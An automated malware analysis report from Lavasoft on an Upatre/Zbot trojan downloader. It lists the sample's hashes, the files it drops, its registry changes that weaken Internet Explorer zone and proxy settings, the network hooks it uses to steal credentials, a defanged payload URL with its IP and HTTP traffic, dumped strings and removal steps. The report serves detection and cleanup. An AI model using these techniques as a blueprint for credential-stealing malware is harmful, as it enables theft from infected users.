Gen.Variant.Kazy.337492_cf4a38fd8f

by malwarelabrobot on March 21st, 2014 in Malware Descriptions.

Gen:Variant.Kazy.337492 (BitDefender), TrojanDownloader:Win32/Upatre.L (Microsoft), Trojan.Win32.Bublik.casi (Kaspersky), Trojan.Win32.Upatre.jr (v) (VIPRE), Trojan.DownLoad3.28161 (DrWeb), Gen:Variant.Kazy.337492 (B) (Emsisoft), Downloader-FSH!CF4A38FD8F57 (McAfee), Trojan.Zbot (Symantec), Gen:Variant.Kazy.337492 (FSecure), Generic35.BVIS (AVG), Win32:Malware-gen (Avast), TROJ_UPATRE.SMBX (TrendMicro), Gen:Variant.Kazy.337492 (AdAware), Trojan-PSW.Win32.Zbot.4.FD, GenericInjector.YR (Lavasoft MAS)
Behaviour: Trojan-Downloader, Trojan-PSW, Trojan


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: cf4a38fd8f57e5ba1e9ce16d4c35d6df
SHA1: 6539aeeb0850569248e441ef73500cf9c3b936fe
SHA256: 922915bd187adb013b53cc24cad85a5b7ba5a0f62a6d2b9c159eca05db2de0a1
SSDeep: 384:KP be5GzzM5jHXRrs905INeZCFtejlIko5dN127BFVn2p4lAnZ8OxsBCtFWg:E 60zsjHXRrs9sINeZEtejlIkoLN127w
Size: 18544 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2013-04-08 06:45:01
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-Downloader. Trojan program, which downloads files from the Internet without user's notice and executes them.

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

lipoty.exe:1200
update_pdf.exe:1848
%original file name%.exe:608
acwuq.exe:448

The Trojan injects its code into the following process(es):

Explorer.EXE:1604

File activity

The process lipoty.exe:1200 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Umveqe\acwuq.exe (2447 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KUI106D.bat (175 bytes)

The process update_pdf.exe:1848 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\lipoty.exe (1623 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\O1Q3GHUJ\14USp[1].pdd (295 bytes)

The process %original file name%.exe:608 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\update_pdf.exe (18 bytes)

The process acwuq.exe:448 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\NTUSER.DAT.LOG (7720 bytes)
%Documents and Settings%\%current user%\NTUSER.DAT (7172 bytes)

Registry activity

The process lipoty.exe:1200 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D2 92 01 8E AC 2B 56 D3 27 D0 9B 92 3A 48 AF FA"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

The process update_pdf.exe:1848 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"lipoty.exe" = "lipoty"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0D F4 44 91 B9 C9 62 0A 7C 2B F5 A4 1F 03 AA 94"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:608 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A1 85 96 56 F6 B2 C8 A0 BF 00 C0 8E FA 72 EC 56"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"update_pdf.exe" = "update_pdf"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process acwuq.exe:448 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2D E6 87 EE F8 29 38 66 3A 2E A1 9F F6 28 90 44"

[HKCU\Software\Microsoft\Yhyxovf]
"14621f9b" = "8A 0D B8 20 71 85 78 48 8F F2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

Dropped PE files

MD5 File path
dcc1f7ebcd0355623d0baa2388bfa15d c:\Documents and Settings\"%CurrentUserName%"\Application Data\Umveqe\acwuq.exe
0286c900d6344c78d1dd5349ea08d18b c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\update_pdf.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetWriteFile
InternetWriteFileExA
InternetQueryDataAvailable
HttpQueryInfoW
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

GetClipboardData
TranslateMessage

The Trojan installs the following user-mode hooks in Secur32.dll:

DecryptMessage
SealMessage
DeleteSecurityContext

The Trojan installs the following user-mode hooks in WS2_32.dll:

WSAGetOverlappedResult
WSASend
recv
gethostbyname
WSARecv
send
closesocket
freeaddrinfo
getaddrinfo
GetAddrInfoW

The Trojan installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 3166 3584 4.96115 9c9b9dcb2cd71c358d6464bfa00058bd
.rdata 8192 946 1024 2.99195 362851758a0ddb64e690b73c5d51f056
.data 12288 1280 1536 3.50283 513a26dde7d20e49eb60204d596b1b70
.rsrc 16384 10800 11264 3.80346 d830c37dd0fe902b8ebae3264e3674c2

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://nevcoengineers.com/img/scenes/14USp.pdd
www.nevcoengineers.com 204.11.59.239


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Downloader (P2P Zeus dropper UA)
ET TROJAN Upatre Binary Download Jan 02 2014

Traffic

GET /img/scenes/14USp.pdd HTTP/1.1
Accept: text/*, application/*
User-Agent: Updates downloader
Host: VVV.nevcoengineers.com
Cache-Control: no-cache
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Tue, 18 Mar 2014 16:56:25 GMT
Server: Apache/2.2.26 (Unix) mod_ssl/2.2.26 OpenSSL/1.0.1e-fips mod_bwlimited/1.4 PHP/5.4.26
Last-Modified: Fri, 14 Feb 2014 15:23:31 GMT
ETag: "4f68-4806f-4f25f637d7d6f"
Accept-Ranges: bytes
Content-Length: 295023
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
ZZP....p.%.>...............<.......=..."Z....x.=X......T...M...O
.......S.......O...=...y...P...X...7....7l8.s.V.D...DM......GJ......hO
....\.x...... P.......D...P.......~J....\yD".:zu.?..&....o...<.....
..=.....^...0.....<...=..w.j1.7.1..a!".%4.?.4.=.7.=f<.=.......&l
t;...'a.$>...=.......9.........5.....I..PI`.......!.#........O.....
....q.. ......~..!4.5.z..b}.u....b....O.u...u.......y.........>...=
.>N....k......)=.?......`..{du.9....`..H..I=...C..".....j..>....
[email protected]..=...x...=`.Jk .Tx...d...2W......7.......=...=......
...].6...-...c)vn,...b...^K..=#>.....}^B.}...?X<.{....a.?...2..&
gt;.<.>U......."?.......qY......y......]2...om.A..J..Y..>_..|
A..<...7#>...<..aTC..t.....>!.#..E.<K.n...)x`.!...&.!..
I....1..`.J.Y....@.)-.......k...?..2...`<`..8...k.......EA.^..../..
....Rk..".pU..A..u...zk......U`U.....9...m./.?...r..lj......cm...]@.).
.....^....).............k.)O...k.E..D.....B;.u...V...>.5....^....&l
t;..A..k.. @.<..i...i.J....\....i.N......<..k....<......m....
.....b}...\...<...U.......U!........g.u.....u..kd)`.....>.}.t\=)
.Tu#}........Oo......;..h.6.....>ju.].....dkv....`..g.=.wa...)x.I!.
..R...!..>.>.I.=.6L).g)`d.a...)(u..=..J..J]..w)5.x.....g.F..]H..
...j...]....J....>...]'].. p.....M)2...p.].=..aH..Jj`.'....z.J....)
......t.....N.]._.^...u.c.|`5..!..>.>(... ........[..../9a.)p.&g
t;.<#?.:j.a=..b>...1.].....}k....MS1.....>.1k..5k}J.1.cH.....
..z..M. ..ckP.`@.*:.v.j..)...\...27..!....=.Z.b.v...F...v.......$'

<<< skipped >>>

Explorer.EXE_1604_rwx_01F60000_00048000:

.text
`.data
.idata
@.reloc
Invalid parameter passed to C runtime function.
>$>,>4><>
0123456789
http://www.google.com/
http://www.bing.com/
REPORT
HTTP/1.1
RegDeleteKeyExW
gdiplus.dll
GdiplusShutdown
.TJFZAIY]JD^"
?:527|:!;8
!1 (##!(
Kmv`jn`%fnfnzg,bt3crd~da4
1&,$=OJ-:&#O-
-.ynp<
'2$4>%|903
: 8? 1 !
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
w%fkN
t.Ht$HHt
L$$
m9.td
zcÁ
.zN6KFL
fd%C?
ntdll.dll
KERNEL32.dll
ExitWindowsEx
GetKeyboardState
MsgWaitForMultipleObjects
USER32.dll
CryptGetKeyParam
CryptImportKey
CryptDestroyKey
RegCreateKeyExW
RegCloseKey
RegQueryInfoKeyW
RegDeleteKeyW
RegOpenKeyExW
RegFlushKey
RegEnumKeyExW
ADVAPI32.dll
UrlUnescapeA
PathIsURLW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
ole32.dll
GDI32.dll
WS2_32.dll
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
PFXImportCertStore
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
InternetCrackUrlA
HttpOpenRequestA
HttpEndRequestA
HttpAddRequestHeadersA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
IPHLPAPI.DLL
VERSION.dll
msvcrt.dll
9 9$9(9,9094989
> >$>(>,>0>4>|>
00D0K0_0q0z0
:!:(:,:1:8:^:
\StringFileInfo\xx\%s
urlmon.dll
SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\%s
kernel32.dll
launchpadshell.exe
dirclt32.exe
wtng.exe
prologue.exe
pcsws.exe
fdmaster.exe
shell32.dll
cabinet.dll
Wadvapi32.dll
"%s" %s
/c "%s"
%Documents and Settings%\%current user%\Application Data
%Documents and Settings%\%current user%\Local Settings\Application Data
Global\{3D6E1BE3-083C-4088-F013-F140DE00D252}


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    lipoty.exe:1200
    update_pdf.exe:1848
    %original file name%.exe:608
    acwuq.exe:448

  3. Delete the original Trojan file.
  4. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Application Data\Umveqe\acwuq.exe (2447 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\KUI106D.bat (175 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\lipoty.exe (1623 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\O1Q3GHUJ\14USp[1].pdd (295 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\update_pdf.exe (18 bytes)
    %Documents and Settings%\%current user%\NTUSER.DAT.LOG (7720 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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